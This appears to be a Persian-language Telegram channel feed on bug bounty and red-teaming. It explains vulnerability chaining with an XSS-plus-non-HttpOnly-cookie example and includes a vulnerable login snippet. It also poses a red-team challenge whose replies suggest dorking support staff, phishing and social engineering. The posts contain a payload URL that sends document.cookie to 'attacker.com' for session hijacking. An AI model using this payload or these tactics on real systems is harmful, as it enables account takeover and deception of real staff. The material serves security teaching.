🫆 #Chaining (زنجیره‌سازی)

شاید یه باگ کوچیک به تنهایی ارزش نداشته باشه، ولی اگه دو تا کوچیک رو بچسبونی → Critical.
مثال: XSS توی admin panel + cookie بدون HttpOnly → session hijack.

قانون دوم ترمودینامیک میگه آنتروپی (بی نظمی) تو یه سیستم بسته همیشه افزایش پیدا می‌ کنه تو نرم افزار هم همینطوره هرچقدر کد پیچیده تر بشه احتمال بروز باگهای غیر منتظره بیشتره. مثلاً یه race condition تو یه سیستم چندنخی ممکنه از ترکیب دو تا تابع به ظاهر بی ربط به وجود بیاد

برای پیدا کردن باگهای پیچیده مثل deadlock یا data race باید بتونی آنتروپی کد رو تحلیل کنی و نقاطی که احتمال بینظمی بیشتره مثل shared resources یا async calls رو هدف بگیری
وقتی توسعه دهنده کدی مینویسه یه سری فرضیه های نانوشته داره این" ورودی" همیشه معتبره این API هیچ وقت null برنمیگردونه، یا این لوپ" همیشه تموم میشه".
اینجا باید مثل یه think harder فکر کنی

حالا نگاه حرفه‌ای تر توی باگ‌بانتی چیه؟ که فقط دنبال Critical آماده نگردی
گاهی باید مثل پازل تیکه‌های کوچیک رو پیدا کنی و بهم بچسبونی.😉

سناریو: XSS در فرم ورود ادمین

فرض کن یه فرم login داریم که ورودی رو sanitize نمی‌کنه:
<!-- login.html -->
<form action="/login" method="POST">
Username: <input name="username">
Password: <input name="password" type="password">
<button>Login</button>
</form>

<!-- این خط آسیب‌پذیر است -->
<p id="error"></p>

<noscript>
// پیام خطا بدون escaping چاپ می‌شود
const errorMsg = new URLSearchParams(window.location.search).get('error');
if (errorMsg) document.getElementById('error').innerHTML = errorMsg;
</noscript>
حالا مهاجم می‌تواند URL بسازه:

http://example.com/login?error=<noscript>fetch('http://attacker.com?c='+document.cookie)</noscript>


2️⃣ سناریو: Cookie بدون HttpOnly

Set-Cookie: sessionid=123456; Path=/; Secure
# HttpOnly نیست → میشه با JS خونده بشه

3️⃣ ترکیب (Chaining)

وقتی XSS رو با Cookie بدون HttpOnly ترکیب کنی:

// payload مهاجم
fetch('http://attacker.com?c=' + document.cookie

چه اتفاقی می‌افته:

1. کاربر ادمین خطا رو می‌بینه و مرورگرش payload رو اجرا می‌کنه.


2. document.cookie شامل session_id بدون HttpOnly می‌شه.


3. payload session_id رو به سرور مهاجم می‌فرسته → مهاجم وارد اکانت ادمین می‌شه.



💡 اینجا XSS به تنهایی Medium بود، Cookie بدون HttpOnly هم Low بود، ولی وقتی زنجیره شدن → Critical (Session Hijack).

⭐️ @ZeroSec_team

rate limit method and types

⭐️ @Zerosec_team

🌐 دامنه رایگان بگیر!

شرکت DigitalPlat یه طرح منتشر کرده که می‌تونی باهاش دامنه رایگان ثبت کنی 😍
کنترل کامل DNS هم دست خودت خواهد بود.

📌 لینک ثبت نام :

https://dash.domain.digitalplat.org/auth/register

📌 سورس و توضیحات کامل در گیت‌هاب:

https://github.com/DigitalPlatDev/FreeDomain

🚀 فرصت خوبیه برای تست، یادگیری یا حتی راه‌اندازی پروژه‌های شخصی!
======================
⭐️ @Zerosec_team

تصور کنید یک پروژه رد تیم به عهده شما و تیمتون سپرده شده بعد ریکان و رسیدن به یک ساب دامین متوجه این فرم در قسمت چت آنلاین میشید چه تست کیس هایی رو انجام میدید؟ دقت کنید پنتست وب فقط نیست و پروژه رد تیم هست ، سناریو های مختلف رو ارسال کنید
بهترین سناریو رو ببینیم کی میگه 😁

(یک نکته مهم قسمت بالای چت لیست پشتیبان های سایت هم به اسم و فامیل نوشته شده که من به دلایلی حذف کردم)

⭐️ @ZeroSec_team

جوابایی که میفرستم رو با لایک و دیسلایک تایید یا رد کنید😁

دایرکت کانال اگر ایده ای دارید ارسال کنید

Rce, XSS

ماکرو و blind xss

با گوگل دورک نسبت ب اسم پشتیبان ها و اسم سایت اطلاعات پیدا میکنی ، با تکنیکای مهندسی اجتماعی اطلاعات میگیری ، راه ارتباطی با پشتیبان خارج از سایت پیدا میکنی و حملات مختلف رو تست میکنی روش امکان داره دسترسی داخلی بگیری

جدا از اون میتونی چک کنی درخواستای چت به کدوم ساب دامین یا ای پی ای میرن

اگر به دید باگ بانتی نگاه کنی وب سوکت هایجکینگ و میس کانفیگارو چک میکنی ( احتمال xss و cors کمتره)

https://news.1rj.ru/str/zerosec_team/955
چون تو سطح وب هستش اول شروع میکنم دنبال اسیب پذیر های وب اپلیکیشن میگردم xss ,sqli,ci....اگه پیدا شدش مستقیم بتونم برم سراغ سرور مثل ci که خب از همینجا شروع میکنم‌ میرم سراغش ولی نه اسیب پذیری سمت کاربر بود مثل xss داخل مهندسی اجتماعی +فیشینگ‌ ازش استفاده میکنم حالا تو قدم اول اگه شد از حسابش دسترسی بگیرم از دیتایی که میتونه تو حساب کاربریش باشه مثل شماره ایمیل تو ادامه مهندسی اجتماعی ، اوسینت ازش استفاده کنم بتونم یه دسترسی اولیه از سیستمش بگیرم